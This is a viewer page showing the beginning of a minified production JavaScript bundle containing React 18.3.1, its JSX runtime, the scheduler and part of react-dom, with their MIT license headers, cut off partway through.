509 lines
951 KiB
JavaScript
Executable File
509 lines
951 KiB
JavaScript
Executable File
var fS=Object.defineProperty;var mS=(e,t,n)=>t in e?fS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Pf=(e,t,n)=>mS(e,typeof t!="symbol"?t+"":t,n);function pS(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const i in r)if(i!=="default"&&!(i in e)){const s=Object.getOwnPropertyDescriptor(r,i);s&&Object.defineProperty(e,i,s.get?s:{enumerable:!0,get:()=>r[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const s of i)if(s.type==="childList")for(const o of s.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const s={};return i.integrity&&(s.integrity=i.integrity),i.referrerPolicy&&(s.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?s.credentials="include":i.crossOrigin==="anonymous"?s.credentials="omit":s.credentials="same-origin",s}function r(i){if(i.ep)return;i.ep=!0;const s=n(i);fetch(i.href,s)}})();function Wr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var tw={exports:{}},Yu={},nw={exports:{}},Se={};/**
|
||
* @license React
|
||
* react.production.min.js
|
||
*
|
||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE file in the root directory of this source tree.
|
||
*/var Jo=Symbol.for("react.element"),hS=Symbol.for("react.portal"),xS=Symbol.for("react.fragment"),vS=Symbol.for("react.strict_mode"),gS=Symbol.for("react.profiler"),yS=Symbol.for("react.provider"),bS=Symbol.for("react.context"),wS=Symbol.for("react.forward_ref"),jS=Symbol.for("react.suspense"),NS=Symbol.for("react.memo"),kS=Symbol.for("react.lazy"),Ov=Symbol.iterator;function zS(e){return e===null||typeof e!="object"?null:(e=Ov&&e[Ov]||e["@@iterator"],typeof e=="function"?e:null)}var rw={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},iw=Object.assign,aw={};function hs(e,t,n){this.props=e,this.context=t,this.refs=aw,this.updater=n||rw}hs.prototype.isReactComponent={};hs.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};hs.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function sw(){}sw.prototype=hs.prototype;function Ph(e,t,n){this.props=e,this.context=t,this.refs=aw,this.updater=n||rw}var Eh=Ph.prototype=new sw;Eh.constructor=Ph;iw(Eh,hs.prototype);Eh.isPureReactComponent=!0;var Tv=Array.isArray,ow=Object.prototype.hasOwnProperty,_h={current:null},lw={key:!0,ref:!0,__self:!0,__source:!0};function cw(e,t,n){var r,i={},s=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(s=""+t.key),t)ow.call(t,r)&&!lw.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1<l){for(var c=Array(l),u=0;u<l;u++)c[u]=arguments[u+2];i.children=c}if(e&&e.defaultProps)for(r in l=e.defaultProps,l)i[r]===void 0&&(i[r]=l[r]);return{$$typeof:Jo,type:e,key:s,ref:o,props:i,_owner:_h.current}}function SS(e,t){return{$$typeof:Jo,type:e.type,key:t,ref:e.ref,props:e.props,_owner:e._owner}}function Ah(e){return typeof e=="object"&&e!==null&&e.$$typeof===Jo}function CS(e){var t={"=":"=0",":":"=2"};return"$"+e.replace(/[=:]/g,function(n){return t[n]})}var Mv=/\/+/g;function Ef(e,t){return typeof e=="object"&&e!==null&&e.key!=null?CS(""+e.key):t.toString(36)}function cc(e,t,n,r,i){var s=typeof e;(s==="undefined"||s==="boolean")&&(e=null);var o=!1;if(e===null)o=!0;else switch(s){case"string":case"number":o=!0;break;case"object":switch(e.$$typeof){case Jo:case hS:o=!0}}if(o)return o=e,i=i(o),e=r===""?"."+Ef(o,0):r,Tv(i)?(n="",e!=null&&(n=e.replace(Mv,"$&/")+"/"),cc(i,t,n,"",function(u){return u})):i!=null&&(Ah(i)&&(i=SS(i,n+(!i.key||o&&o.key===i.key?"":(""+i.key).replace(Mv,"$&/")+"/")+e)),t.push(i)),1;if(o=0,r=r===""?".":r+":",Tv(e))for(var l=0;l<e.length;l++){s=e[l];var c=r+Ef(s,l);o+=cc(s,t,n,c,i)}else if(c=zS(e),typeof c=="function")for(e=c.call(e),l=0;!(s=e.next()).done;)s=s.value,c=r+Ef(s,l++),o+=cc(s,t,n,c,i);else if(s==="object")throw t=String(e),Error("Objects are not valid as a React child (found: "+(t==="[object Object]"?"object with keys {"+Object.keys(e).join(", ")+"}":t)+"). If you meant to render a collection of children, use an array instead.");return o}function kl(e,t,n){if(e==null)return e;var r=[],i=0;return cc(e,r,"","",function(s){return t.call(n,s,i++)}),r}function PS(e){if(e._status===-1){var t=e._result;t=t(),t.then(function(n){(e._status===0||e._status===-1)&&(e._status=1,e._result=n)},function(n){(e._status===0||e._status===-1)&&(e._status=2,e._result=n)}),e._status===-1&&(e._status=0,e._result=t)}if(e._status===1)return e._result.default;throw e._result}var Ht={current:null},uc={transition:null},ES={ReactCurrentDispatcher:Ht,ReactCurrentBatchConfig:uc,ReactCurrentOwner:_h};function uw(){throw Error("act(...) is not supported in production builds of React.")}Se.Children={map:kl,forEach:function(e,t,n){kl(e,function(){t.apply(this,arguments)},n)},count:function(e){var t=0;return kl(e,function(){t++}),t},toArray:function(e){return kl(e,function(t){return t})||[]},only:function(e){if(!Ah(e))throw Error("React.Children.only expected to receive a single React element child.");return e}};Se.Component=hs;Se.Fragment=xS;Se.Profiler=gS;Se.PureComponent=Ph;Se.StrictMode=vS;Se.Suspense=jS;Se.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=ES;Se.act=uw;Se.cloneElement=function(e,t,n){if(e==null)throw Error("React.cloneElement(...): The argument must be a React element, but you passed "+e+".");var r=iw({},e.props),i=e.key,s=e.ref,o=e._owner;if(t!=null){if(t.ref!==void 0&&(s=t.ref,o=_h.current),t.key!==void 0&&(i=""+t.key),e.type&&e.type.defaultProps)var l=e.type.defaultProps;for(c in t)ow.call(t,c)&&!lw.hasOwnProperty(c)&&(r[c]=t[c]===void 0&&l!==void 0?l[c]:t[c])}var c=arguments.length-2;if(c===1)r.children=n;else if(1<c){l=Array(c);for(var u=0;u<c;u++)l[u]=arguments[u+2];r.children=l}return{$$typeof:Jo,type:e.type,key:i,ref:s,props:r,_owner:o}};Se.createContext=function(e){return e={$$typeof:bS,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null},e.Provider={$$typeof:yS,_context:e},e.Consumer=e};Se.createElement=cw;Se.createFactory=function(e){var t=cw.bind(null,e);return t.type=e,t};Se.createRef=function(){return{current:null}};Se.forwardRef=function(e){return{$$typeof:wS,render:e}};Se.isValidElement=Ah;Se.lazy=function(e){return{$$typeof:kS,_payload:{_status:-1,_result:e},_init:PS}};Se.memo=function(e,t){return{$$typeof:NS,type:e,compare:t===void 0?null:t}};Se.startTransition=function(e){var t=uc.transition;uc.transition={};try{e()}finally{uc.transition=t}};Se.unstable_act=uw;Se.useCallback=function(e,t){return Ht.current.useCallback(e,t)};Se.useContext=function(e){return Ht.current.useContext(e)};Se.useDebugValue=function(){};Se.useDeferredValue=function(e){return Ht.current.useDeferredValue(e)};Se.useEffect=function(e,t){return Ht.current.useEffect(e,t)};Se.useId=function(){return Ht.current.useId()};Se.useImperativeHandle=function(e,t,n){return Ht.current.useImperativeHandle(e,t,n)};Se.useInsertionEffect=function(e,t){return Ht.current.useInsertionEffect(e,t)};Se.useLayoutEffect=function(e,t){return Ht.current.useLayoutEffect(e,t)};Se.useMemo=function(e,t){return Ht.current.useMemo(e,t)};Se.useReducer=function(e,t,n){return Ht.current.useReducer(e,t,n)};Se.useRef=function(e){return Ht.current.useRef(e)};Se.useState=function(e){return Ht.current.useState(e)};Se.useSyncExternalStore=function(e,t,n){return Ht.current.useSyncExternalStore(e,t,n)};Se.useTransition=function(){return Ht.current.useTransition()};Se.version="18.3.1";nw.exports=Se;var m=nw.exports;const Oh=Wr(m),dw=pS({__proto__:null,default:Oh},[m]);/**
|
||
* @license React
|
||
* react-jsx-runtime.production.min.js
|
||
*
|
||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE file in the root directory of this source tree.
|
||
*/var _S=m,AS=Symbol.for("react.element"),OS=Symbol.for("react.fragment"),TS=Object.prototype.hasOwnProperty,MS=_S.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,LS={key:!0,ref:!0,__self:!0,__source:!0};function fw(e,t,n){var r,i={},s=null,o=null;n!==void 0&&(s=""+n),t.key!==void 0&&(s=""+t.key),t.ref!==void 0&&(o=t.ref);for(r in t)TS.call(t,r)&&!LS.hasOwnProperty(r)&&(i[r]=t[r]);if(e&&e.defaultProps)for(r in t=e.defaultProps,t)i[r]===void 0&&(i[r]=t[r]);return{$$typeof:AS,type:e,key:s,ref:o,props:i,_owner:MS.current}}Yu.Fragment=OS;Yu.jsx=fw;Yu.jsxs=fw;tw.exports=Yu;var a=tw.exports,Lm={},mw={exports:{}},xn={},pw={exports:{}},hw={};/**
|
||
* @license React
|
||
* scheduler.production.min.js
|
||
*
|
||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE file in the root directory of this source tree.
|
||
*/(function(e){function t(M,F){var U=M.length;M.push(F);e:for(;0<U;){var V=U-1>>>1,Z=M[V];if(0<i(Z,F))M[V]=F,M[U]=Z,U=V;else break e}}function n(M){return M.length===0?null:M[0]}function r(M){if(M.length===0)return null;var F=M[0],U=M.pop();if(U!==F){M[0]=U;e:for(var V=0,Z=M.length,ae=Z>>>1;V<ae;){var ue=2*(V+1)-1,be=M[ue],ye=ue+1,q=M[ye];if(0>i(be,U))ye<Z&&0>i(q,be)?(M[V]=q,M[ye]=U,V=ye):(M[V]=be,M[ue]=U,V=ue);else if(ye<Z&&0>i(q,U))M[V]=q,M[ye]=U,V=ye;else break e}}return F}function i(M,F){var U=M.sortIndex-F.sortIndex;return U!==0?U:M.id-F.id}if(typeof performance=="object"&&typeof performance.now=="function"){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,p=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(M){for(var F=n(u);F!==null;){if(F.callback===null)r(u);else if(F.startTime<=M)r(u),F.sortIndex=F.expirationTime,t(c,F);else break;F=n(u)}}function j(M){if(g=!1,w(M),!x)if(n(c)!==null)x=!0,K(N);else{var F=n(u);F!==null&&_(j,F.startTime-M)}}function N(M,F){x=!1,g&&(g=!1,v(S),S=-1),h=!0;var U=p;try{for(w(F),f=n(c);f!==null&&(!(f.expirationTime>F)||M&&!T());){var V=f.callback;if(typeof V=="function"){f.callback=null,p=f.priorityLevel;var Z=V(f.expirationTime<=F);F=e.unstable_now(),typeof Z=="function"?f.callback=Z:f===n(c)&&r(c),w(F)}else r(c);f=n(c)}if(f!==null)var ae=!0;else{var ue=n(u);ue!==null&&_(j,ue.startTime-F),ae=!1}return ae}finally{f=null,p=U,h=!1}}var k=!1,z=null,S=-1,O=5,A=-1;function T(){return!(e.unstable_now()-A<O)}function P(){if(z!==null){var M=e.unstable_now();A=M;var F=!0;try{F=z(!0,M)}finally{F?D():(k=!1,z=null)}}else k=!1}var D;if(typeof b=="function")D=function(){b(P)};else if(typeof MessageChannel<"u"){var G=new MessageChannel,R=G.port2;G.port1.onmessage=P,D=function(){R.postMessage(null)}}else D=function(){y(P,0)};function K(M){z=M,k||(k=!0,D())}function _(M,F){S=y(function(){M(e.unstable_now())},F)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(M){M.callback=null},e.unstable_continueExecution=function(){x||h||(x=!0,K(N))},e.unstable_forceFrameRate=function(M){0>M||125<M?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):O=0<M?Math.floor(1e3/M):5},e.unstable_getCurrentPriorityLevel=function(){return p},e.unstable_getFirstCallbackNode=function(){return n(c)},e.unstable_next=function(M){switch(p){case 1:case 2:case 3:var F=3;break;default:F=p}var U=p;p=F;try{return M()}finally{p=U}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function(M,F){switch(M){case 1:case 2:case 3:case 4:case 5:break;default:M=3}var U=p;p=M;try{return F()}finally{p=U}},e.unstable_scheduleCallback=function(M,F,U){var V=e.unstable_now();switch(typeof U=="object"&&U!==null?(U=U.delay,U=typeof U=="number"&&0<U?V+U:V):U=V,M){case 1:var Z=-1;break;case 2:Z=250;break;case 5:Z=1073741823;break;case 4:Z=1e4;break;default:Z=5e3}return Z=U+Z,M={id:d++,callback:F,priorityLevel:M,startTime:U,expirationTime:Z,sortIndex:-1},U>V?(M.sortIndex=U,t(u,M),n(c)===null&&M===n(u)&&(g?(v(S),S=-1):g=!0,_(j,U-V))):(M.sortIndex=Z,t(c,M),x||h||(x=!0,K(N))),M},e.unstable_shouldYield=T,e.unstable_wrapCallback=function(M){var F=p;return function(){var U=p;p=F;try{return M.apply(this,arguments)}finally{p=U}}}})(hw);pw.exports=hw;var IS=pw.exports;/**
|
||
* @license React
|
||
* react-dom.production.min.js
|
||
*
|
||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE file in the root directory of this source tree.
|
||
*/var DS=m,pn=IS;function ee(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var xw=new Set,ho={};function xa(e,t){es(e,t),es(e+"Capture",t)}function es(e,t){for(ho[e]=t,e=0;e<t.length;e++)xw.add(t[e])}var _r=!(typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Im=Object.prototype.hasOwnProperty,RS=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,Lv={},Iv={};function $S(e){return Im.call(Iv,e)?!0:Im.call(Lv,e)?!1:RS.test(e)?Iv[e]=!0:(Lv[e]=!0,!1)}function BS(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function FS(e,t,n,r){if(t===null||typeof t>"u"||BS(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Kt(e,t,n,r,i,s,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=s,this.removeEmptyString=o}var Tt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Tt[e]=new Kt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Tt[t]=new Kt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Tt[e]=new Kt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Tt[e]=new Kt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Tt[e]=new Kt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Tt[e]=new Kt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Tt[e]=new Kt(e,5,!1,e.toLowerCase(),null,!1,!1)});var Th=/[\-:]([a-z])/g;function Mh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!1,!1)});Tt.xlinkHref=new Kt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!0,!0)});function Lh(e,t,n,r){var i=Tt.hasOwnProperty(t)?Tt[t]:null;(i!==null?i.type!==0:r||!(2<t.length)||t[0]!=="o"&&t[0]!=="O"||t[1]!=="n"&&t[1]!=="N")&&(FS(t,n,i,r)&&(n=null),r||i===null?$S(t)&&(n===null?e.removeAttribute(t):e.setAttribute(t,""+n)):i.mustUseProperty?e[i.propertyName]=n===null?i.type===3?!1:"":n:(t=i.attributeName,r=i.attributeNamespace,n===null?e.removeAttribute(t):(i=i.type,n=i===3||i===4&&n===!0?"":""+n,r?e.setAttributeNS(r,t,n):e.setAttribute(t,n))))}var Ur=DS.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,zl=Symbol.for("react.element"),_a=Symbol.for("react.portal"),Aa=Symbol.for("react.fragment"),Ih=Symbol.for("react.strict_mode"),Dm=Symbol.for("react.profiler"),vw=Symbol.for("react.provider"),gw=Symbol.for("react.context"),Dh=Symbol.for("react.forward_ref"),Rm=Symbol.for("react.suspense"),$m=Symbol.for("react.suspense_list"),Rh=Symbol.for("react.memo"),ti=Symbol.for("react.lazy"),yw=Symbol.for("react.offscreen"),Dv=Symbol.iterator;function Os(e){return e===null||typeof e!="object"?null:(e=Dv&&e[Dv]||e["@@iterator"],typeof e=="function"?e:null)}var Ze=Object.assign,_f;function Qs(e){if(_f===void 0)try{throw Error()}catch(n){var t=n.stack.trim().match(/\n( *(at )?)/);_f=t&&t[1]||""}return`
|
||
`+_f+e}var Af=!1;function Of(e,t){if(!e||Af)return"";Af=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(t)if(t=function(){throw Error()},Object.defineProperty(t.prototype,"props",{set:function(){throw Error()}}),typeof Reflect=="object"&&Reflect.construct){try{Reflect.construct(t,[])}catch(u){var r=u}Reflect.construct(e,[],t)}else{try{t.call()}catch(u){r=u}e.call(t.prototype)}else{try{throw Error()}catch(u){r=u}e()}}catch(u){if(u&&r&&typeof u.stack=="string"){for(var i=u.stack.split(`
|
||
`),s=r.stack.split(`
|
||
`),o=i.length-1,l=s.length-1;1<=o&&0<=l&&i[o]!==s[l];)l--;for(;1<=o&&0<=l;o--,l--)if(i[o]!==s[l]){if(o!==1||l!==1)do if(o--,l--,0>l||i[o]!==s[l]){var c=`
|
||
`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("<anonymous>")&&(c=c.replace("<anonymous>",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{Af=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Qs(e):""}function WS(e){switch(e.tag){case 5:return Qs(e.type);case 16:return Qs("Lazy");case 13:return Qs("Suspense");case 19:return Qs("SuspenseList");case 0:case 2:case 15:return e=Of(e.type,!1),e;case 11:return e=Of(e.type.render,!1),e;case 1:return e=Of(e.type,!0),e;default:return""}}function Bm(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Aa:return"Fragment";case _a:return"Portal";case Dm:return"Profiler";case Ih:return"StrictMode";case Rm:return"Suspense";case $m:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case gw:return(e.displayName||"Context")+".Consumer";case vw:return(e._context.displayName||"Context")+".Provider";case Dh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Rh:return t=e.displayName||null,t!==null?t:Bm(e.type)||"Memo";case ti:t=e._payload,e=e._init;try{return Bm(e(t))}catch{}}return null}function US(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Bm(t);case 8:return t===Ih?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function Ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function bw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function VS(e){var t=bw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,s=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,s.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function Sl(e){e._valueTracker||(e._valueTracker=VS(e))}function ww(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=bw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function Pc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Fm(e,t){var n=t.checked;return Ze({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Rv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=Ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function jw(e,t){t=t.checked,t!=null&&Lh(e,"checked",t,!1)}function Wm(e,t){jw(e,t);var n=Ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Um(e,t.type,n):t.hasOwnProperty("defaultValue")&&Um(e,t.type,Ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function $v(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Um(e,t,n){(t!=="number"||Pc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Js=Array.isArray;function Ha(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i<n.length;i++)t["$"+n[i]]=!0;for(n=0;n<e.length;n++)i=t.hasOwnProperty("$"+e[n].value),e[n].selected!==i&&(e[n].selected=i),i&&r&&(e[n].defaultSelected=!0)}else{for(n=""+Ni(n),t=null,i=0;i<e.length;i++){if(e[i].value===n){e[i].selected=!0,r&&(e[i].defaultSelected=!0);return}t!==null||e[i].disabled||(t=e[i])}t!==null&&(t.selected=!0)}}function Vm(e,t){if(t.dangerouslySetInnerHTML!=null)throw Error(ee(91));return Ze({},t,{value:void 0,defaultValue:void 0,children:""+e._wrapperState.initialValue})}function Bv(e,t){var n=t.value;if(n==null){if(n=t.children,t=t.defaultValue,n!=null){if(t!=null)throw Error(ee(92));if(Js(n)){if(1<n.length)throw Error(ee(93));n=n[0]}t=n}t==null&&(t=""),n=t}e._wrapperState={initialValue:Ni(n)}}function Nw(e,t){var n=Ni(t.value),r=Ni(t.defaultValue);n!=null&&(n=""+n,n!==e.value&&(e.value=n),t.defaultValue==null&&e.defaultValue!==n&&(e.defaultValue=n)),r!=null&&(e.defaultValue=""+r)}function Fv(e){var t=e.textContent;t===e._wrapperState.initialValue&&t!==""&&t!==null&&(e.value=t)}function kw(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function Hm(e,t){return e==null||e==="http://www.w3.org/1999/xhtml"?kw(t):e==="http://www.w3.org/2000/svg"&&t==="foreignObject"?"http://www.w3.org/1999/xhtml":e}var Cl,zw=function(e){return typeof MSApp<"u"&&MSApp.execUnsafeLocalFunction?function(t,n,r,i){MSApp.execUnsafeLocalFunction(function(){return e(t,n,r,i)})}:e}(function(e,t){if(e.namespaceURI!=="http://www.w3.org/2000/svg"||"innerHTML"in e)e.innerHTML=t;else{for(Cl=Cl||document.createElement("div"),Cl.innerHTML="<svg>"+t.valueOf().toString()+"</svg>",t=Cl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function xo(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var 